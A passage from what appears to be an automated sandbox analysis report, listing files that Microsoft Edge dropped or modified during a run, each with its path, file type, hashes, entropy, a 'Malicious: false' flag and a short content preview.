Preview:	...@..@...@.....C.].....@...................h...............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?.......".jwvjjt20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@...............................0...w..U?:K..>.........."....."...24.."."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z....l....'@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.........m...... .2...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	280
Entropy (8bit):	4.16517681506792
Encrypted:	false
SSDEEP:	3:FiWWltlrPYjpVjP9M4UcLH3RvwAH/llwBVP/Sh/Jzv/jSIHmsdJEU9VUn5lt:o1rPWVjWZq3RvtNlwBVsJDL7b/3U7
MD5:	C847567DEE0317368C1EC824DE025887
SHA1:	554098F22FEA9282FE1AAB35560849CD6FF546B1
SHA-256:	3CF2B1CBE4F4CCFC640BCF581FD4D9FC84254D2B3839C96EA4909B61AAF28932
SHA-512:	A976744405F6ABEBFB7513A3A6A776680334BB94A9E52AEEFE2B05259BCB3CF9781B1CCDA3655D8AA4C1E923143168F29EF3208F81ABCB93AFF5215ED3798219
Malicious:	false
Preview:	sdPC.....................!...W.F....+F."xDkc0HT9c2ekfj/3J+6x4yELW+Knys1OtBnWqRtJUmw="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................8889edf7-b09d-4a45-9ea5-adabbfd01bb9............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2f669603-f614-471c-aca2-1d4e41a8dff2.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24691
Entropy (8bit):	5.5688060480706065
Encrypted:	false
SSDEEP:	768:YOgv8HWP6hfWx8F1+UoAYDCx9Tuqh0VfUC9xbog/OV/EFTfn/rwfpVpgtud:YOgv8HWP6hfWxu1japdnMfpsta
MD5:	BEB47CDC52AF5C3BDF3A4613054CBEF4
SHA1:	06A007BFDC2A21EB2DD54A21EA19133594C6C071
SHA-256:	15C5D0BDEB4A5DD8EB230E47555E62126914EFB6827C406ECAD371A1BCBAAF55
SHA-512:	6E0254000CA650F064F88365A4A842DCF010F5AC7B9E856CC4543E2DB1B3748342EC58CB9B92F99FAB6447C8ED6483DC5ECB98467B207EE671AD882FD412EFA1
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366455192425137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366455192425137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\47d816c4-ed1b-402e-93a7-a9be88a422d1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	30210
Entropy (8bit):	5.565751184339782
Encrypted:	false
SSDEEP:	768:YOgvHN7pLGLv2HWPRhfxx8F1+UoAYDCx9Tuqh0VfUC9xbog/OVVmyEFTf5/rwDIh:YOgvH7cv2HWPRhfxxu1ja4mXd5MDIYtS
MD5:	61E184A5D7C3143F639DCC9C31811261
SHA1:	2A220BAD32C2648501AF888B85CCA0A662645721
SHA-256:	2BCBF09C7555677420E94F3069D7FF03FA2EF39154059C59E9A298CBC8AF0712
SHA-512:	A6722C5FE651427FBF1CC45C41F1EDFB6F12CFFD6BFDE8476FA97F842C51F098476082653E6C053D05C5D2AB30003DFCD3AE76A6578566F9F7F8268133E26208
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366455192425137","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366455192425137","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5c359156-94f8-41de-9769-a3e20979c7cc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9905
Entropy (8bit):	5.1241465723616955
Encrypted:	false
SSDEEP:	192:stukdysW9yaNP9kvG3B8ObV+FnXwAbk+PoYJ:studsW9tJvbGXwen
MD5:	E0858696D45600C7992128A0363C3075
SHA1:	BF0B6704AA1042EB79DAEBBBB8D5AF1E13648987
SHA-256:	6C0194B5BB1C61B7CEC2A1247492603BBE76DA7EF15C28170D7A3F8F5DA2D924
SHA-512:	A7D134B3923D4EFB723CA8400641A69F8C8B8C87AB57B680F2CA7A6A8CDA73200E2E37A06B8DAC2978F4DFF1CFC8B39E701E48B4E281FB40BFD28900450A86BB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366455193204747","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\9e6a15d2-3103-44b1-bd34-663113486568.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.2771329992692095
Encrypted:	false
SSDEEP:	6:BMAfUW/L1cNwi23oH+Tcwtp3hBtB2KLlrMAfUW/+c9+q2PcNwi23oH+Tcwtp3hBH:NfXhZYebp3dFL1fXSvLZYebp3eFUv
MD5:	A47A2E9D8527D0181649B75093BCD29B
SHA1:	A9072E286B238300E3E3E9DE473F3F95803B53E0
SHA-256:	CABDA8E04A8DF9F8B5A1BB41ED6D5909A23C28FC1248EBC5EB9D8718E2521C3C
SHA-512:	01ACC2F61E43743F8D8B96AF0A48C2BDFD8A512657B2688FD12B020A16DE77EA8FF6541B4E9385C40F68A15D938598D814B3FB5DCB4DBFFC8A91D1B0537FEBCE
Malicious:	false
Preview:	2024/07/26-04:13:23.930 be8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/07/26-04:13:23.983 be8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	modified
Size (bytes):	342
Entropy (8bit):	5.150764249091877
Encrypted:	false
SSDEEP:	6:BMAfUW/sp3+q2PcNwi23oH+Tcwt9Eh1tIFUt84MAfUW/5Zmw+4MAfUW/WG3VkwOi:NfXw+vLZYeb9Eh16FUt8wfX5/+wfXB3N
MD5:	E2C97B0BB5D5D52B9BA47C7221E9E706
SHA1:	1F032D62B313574C67789CA4136B34AA312DCB80
SHA-256:	F240AE8A8F17E04079B82119189DF9FD2AF9C87D2B4EA5708FEDCFDFD3DCB9BC
SHA-512:	3C112B18F7D31805EAFA16E5B82596F36467F173FE3F079623CFA0A5F49584D35619373BC4BD9DBD816784AD77C35F91D25EDB583EAE4C64A9F6F2B4448A8505
Malicious:	false
Preview:	2024/07/26-04:13:23.932 212c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/07/26-04:13:23.935 212c Recovering log #3.2024/07/26-04:13:23.966 212c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.150764249091877
Encrypted:	false
SSDEEP:	6:BMAfUW/sp3+q2PcNwi23oH+Tcwt9Eh1tIFUt84MAfUW/5Zmw+4MAfUW/WG3VkwOi:NfXw+vLZYeb9Eh16FUt8wfX5/+wfXB3N
MD5:	E2C97B0BB5D5D52B9BA47C7221E9E706
SHA1:	1F032D62B313574C67789CA4136B34AA312DCB80
SHA-256:	F240AE8A8F17E04079B82119189DF9FD2AF9C87D2B4EA5708FEDCFDFD3DCB9BC
SHA-512:	3C112B18F7D31805EAFA16E5B82596F36467F173FE3F079623CFA0A5F49584D35619373BC4BD9DBD816784AD77C35F91D25EDB583EAE4C64A9F6F2B4448A8505
Malicious:	false
Preview:	2024/07/26-04:13:23.932 212c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/07/26-04:13:23.935 212c Recovering log #3.2024/07/26-04:13:23.966 212c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46709765537366876
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu:TouQq3qh7z3bY2LNW9WMcUvB
MD5:	F9DEDC54A8034806AF12C7E9923385DD
SHA1:	5E3F795CF2E16E5A5F02840EA87E403A1B180D0B
SHA-256:	0AD900C32881683EFB41B56748A85063CB43BC7D2CBE7F3FEF2F04E9D5769111
SHA-512:	3CCEDC98EC0738F6ED6B7E199906FD9E1714250A630EB67966A9CEFC3790E884A71B124F8B948B4A2CCF724F1DB2F4A2B7E2D81431ACF3F76E37333AF8F7C9D5
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	854587
Entropy (8bit):	6.011119224202052
Encrypted:	false
SSDEEP:	12288:8e/LHQ7MR98fWrOCgTW6nKmhuEZjjayCalEJ1uUnMHj0RyytqzwRJqJ8T9b:/HQILuWrXSbKuNZ/amEnuoTN3O8h
MD5:	D89F43EC653BCB9B6ADFBFFBA807024B
SHA1:	39524AA46ECCCD2A390CC5CE5EA1D38CE6913BD0
SHA-256:	E247035347AE85D1F8EA4517795FB6DDF96D9664009BD2F00AF064AE3B0B6E20
SHA-512:	69492B58DB4C3329D8068979829B84EEAEC6DD5DF939AF770E356702251667B59739C85CE941C6FC162CCB830021472604E1AF322732C46956CDF2AA7E60CAAD
Malicious:	false
Preview:	...m.................DB_VERSION.1..N).................BLOOM_FILTER:..4{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasUkRtOJpYp6Wpx/+CPNUSp1rx6dUmQTRC9+9IJgWbUIiRoTbPMyse76DaN25FEk7W+Hk1m3yH4Y3iIeiRxgUJU6DtqTQ3QMxwy4TY+Rr7Xa7ltG4EiOcAmaX8uKJfn+FBJNKLtCRORSg7Y4467LoXiZ9yshfBCKPLhHhYpiDNaLuidZwQhgd8LpPiDsEB/O7UUcvAwC6QFcwK9FRgPnWDxzC1fudl90b8xLirCwkxbkQD4vek9/xNn/PUFGyLBDDc8eK5k529mPTPm7qSPswV+2G0qFTeeLE+9mrp2zz3ZKlBdc3B1XBa0Ui5DkJmC9zpqZ2mdP43x9Rz2zQWxEqESqswV3YikXttibGwTv39vCOJriWkoONjE8TKd/+22vlN6sfPtnCDCFDF4xSuat1uYppjT78fSO66w5lCXNnr1mkEIAFPwNCWkSNT+DabRIK+MhwT8w6gwU9QGnRHbqjO7oHrlADjy01DSLIOdJiR3AxwUahGJw2elmPzzWIjQ7wBsDHW/QO99WlIWGALGNzOSEBY5iZHubhuLN8N/2seLXvgtoVGrOWEDAVG0G4zRUcFbfXehdhMjd1n4JFTswxrehJL+pgBpKpm+Fys7yNX8PCgwymuZB0soVQ9DEB5NxX++ffal8R3U3uSRUC1h4ZNFBJx1KpS08jokS1h

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000004.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	142
Entropy (8bit):	5.026837408478671
Encrypted:	false
SSDEEP:	3:WcZlt38E28xp4m3rscUSXX5dVzzilolXlf+nETPxpK2x7LuX4XJ8X9RvA7:WcZlt38D8xSEsIXX5dlzGol9+n0PxEW1
MD5:	32D5EED301E77519CC6E2A44FCDF975A
SHA1:	CFC0EC8EDEF9C6793C221B92DFFB3E7FD8097DDD
SHA-256:	79CEFABB8955BAFE2CAFFA2382234DD9A777092E40869CEE8394D99D455DE52E
SHA-512:	A5160005DDF6D0ED3DA111CA85E76CD10F3CAD16681C1FADDC45046F30060441F4D7ACE6E260237B9EFDFA835630A3DFE05CF7FAD3C42095BC1E408E5EE68E9B
Malicious:	false
Preview:	....9................BLOOM_FILTER_EXPIRY_TIME:.1722068013.620724..WuG................BLOOM_FILTER_LAST_MODIFIED:.Fri, 26 Jul 2024 01:28:28 GMT

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\000005.ldb

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	854513
Entropy (8bit):	6.009922036312578
Encrypted:	false
SSDEEP:	12288:lB/FH17K898fDrO84TW6nXmhZEZjjTyCvlEW1ujnfHj8SyytqSYRJqyVTmp:NH1OguDrvaNXuaZ/T7EAuDfN2HVK
MD5:	B4A12D4C69223DC41D3B7803EFBA2D4A
SHA1:	CB902E18064A9DDE28D20350910C6397E9F8BB55
SHA-256:	FE9E5B2E2778FD77E79F90C0B95B10F4B758F87AB05A0C97A96E9A5EA664E14A
SHA-512:	3225F0234BF9780D549108E65C8A1B2D7D467C01093348053B9E06D0B86542A08C17EF1DE698147222DFEA5373E4827D83768059B90921A5CB599C122EC46F1B
Malicious:	false
Preview:	....4BLOOM_FILTER:........{"numberOfHashFunctions":8,"shiftBase":7,"bloomFilterArraySize":5075849,"primeBases":[5381,5381,5381,5381],"supportedDomains":"xmdQDC+v7rL0SqbYRTLiDU2hmBNul4Cpgslr4CHeiAQEmzqbPw/NYuCHYCjpz2yaz50qgNUAFGhbYIg0Qw7WqSdN2FFsbSodtKb2xRKESMr+1rh2Sv97YNU/AsLETasUkRtOJpYp6Wpx/+CPNUSp1rx6dUmQTRC9+9IJgWbUIiRoTbPMyse76DaN25FEk7W+Hk1m3yH4Y3iIeiRxgUJU6DtqTQ3QMxwy4TY+Rr7Xa7ltG4EiOcAmaX8uKJfn+FBJNKLtCRORSg7Y4467LoXiZ9yshfBCKPLhHhYpiDNaLuidZwQhgd8LpPiDsEB/O7UUcvAwC6QFcwK9FRgPnWDxzC1fudl90b8xLirCwkxbkQD4vek9/xNn/PUFGyLBDDc8eK5k529mPTPm7qSPswV+2G0qFTeeLE+9mrp2zz3ZKlBdc3B1XBa0Ui5DkJmC9zpqZ2mdP43x9Rz2zQWxEqESqswV3YikXttibGwTv39vCOJriWkoONjE8TKd/+22vlN6sfPtnCDCFDF4xSuat1uYppjT78fSO66w5lCXNnr1mkEIAFPwNCWkSNT+DabRIK+MhwT8w6gwU9QGnRHbqjO7oHrlADjy01DSLIOdJiR3AxwUahGJw2elmPzzWIjQ7wBsDHW/QO99WlIWGALGNzOSEBY5iZHubhuLN8N/2seLXvgtoVGrOWEDAVG0G4zRUcFbfXehdhMjd1n4JFTswxrehJL+pgBpKpm+Fys7yNX8PCgwymuZB0soVQ9DEB5NxX++ffal8R3U3uSRUC1h4ZNFBJx1KpS08jokS1hm6TTEEmXB2D9nf+Ng4y9lDv79v44X6LUFdYgHvhTk7Vz

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	515
Entropy (8bit):	5.271510386461523
Encrypted:	false
SSDEEP:	12:NfCpvLZYebn9GFUt8wfC0/+wfC054ZYebn95Z9bfIWf01ftpWfn59HoKwfPkVh:YVlYeb9ig8xn+oYeb9zKCmUh
MD5:	E34EA49B333D1908EFFC5ACC80A8E1B6
SHA1:	B05F11B7BD5084C075442D60ACDCB332165B424A
SHA-256:	602438F3DDB3DB2F5EB48D4BC7CD3341C4AFF6DA534FDF8BC0C5F8312119DED6
SHA-512:	501E32172C1EA679DA7A69F0BD025EA85CDF2445239559B7851E5725D9C0040F9DE4440393FA666A173A6C7497CEA50E4457C86BBCF3BC57DBBB12C5A21FD991
Malicious:	false
Preview:	2024/07/26-04:13:12.446 c04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/07/26-04:13:12.446 c04 Recovering log #3.2024/07/26-04:13:12.446 c04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/07/26-04:13:33.719 1dbc Level-0 table #5: started.2024/07/26-04:13:33.875 1dbc Level-0 table #5: 854513 bytes OK.2024/07/26-04:13:33.881 1dbc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	515
Entropy (8bit):	5.271510386461523
Encrypted:	false
SSDEEP:	12:NfCpvLZYebn9GFUt8wfC0/+wfC054ZYebn95Z9bfIWf01ftpWfn59HoKwfPkVh:YVlYeb9ig8xn+oYeb9zKCmUh
MD5:	E34EA49B333D1908EFFC5ACC80A8E1B6
SHA1:	B05F11B7BD5084C075442D60ACDCB332165B424A
SHA-256:	602438F3DDB3DB2F5EB48D4BC7CD3341C4AFF6DA534FDF8BC0C5F8312119DED6
SHA-512:	501E32172C1EA679DA7A69F0BD025EA85CDF2445239559B7851E5725D9C0040F9DE4440393FA666A173A6C7497CEA50E4457C86BBCF3BC57DBBB12C5A21FD991
Malicious:	false
Preview:	2024/07/26-04:13:12.446 c04 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/07/26-04:13:12.446 c04 Recovering log #3.2024/07/26-04:13:12.446 c04 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .2024/07/26-04:13:33.719 1dbc Level-0 table #5: started.2024/07/26-04:13:33.875 1dbc Level-0 table #5: 854513 bytes OK.2024/07/26-04:13:33.881 1dbc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	103
Entropy (8bit):	5.248480538985684
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjKzhFhinEwETxFxN3erkEtl:scoBY7jshGEhTxFDkHl
MD5:	61DEA370DCFA9B813E4C4374E6501BA8
SHA1:	8B6C7ED4C738A1F4596B14BF60E56A289676092D
SHA-256:	6ACD783EB3A0EFE65C8DB8E5118FA2E01FA16CCA8A7ACC8D334B4DEB725A967D
SHA-512:	3E9FB9D49EA47CB3432411A0E8F5B91EE4C63FE6C831143AAB13370FFDA968C2F3C6E861398296DD92CB5AD21EAE314594304708B6FB2DFEC1FE47AB0DDC8173
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......D9.c7..............4.BLOOM_FILTER:.........DB_VERSION........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
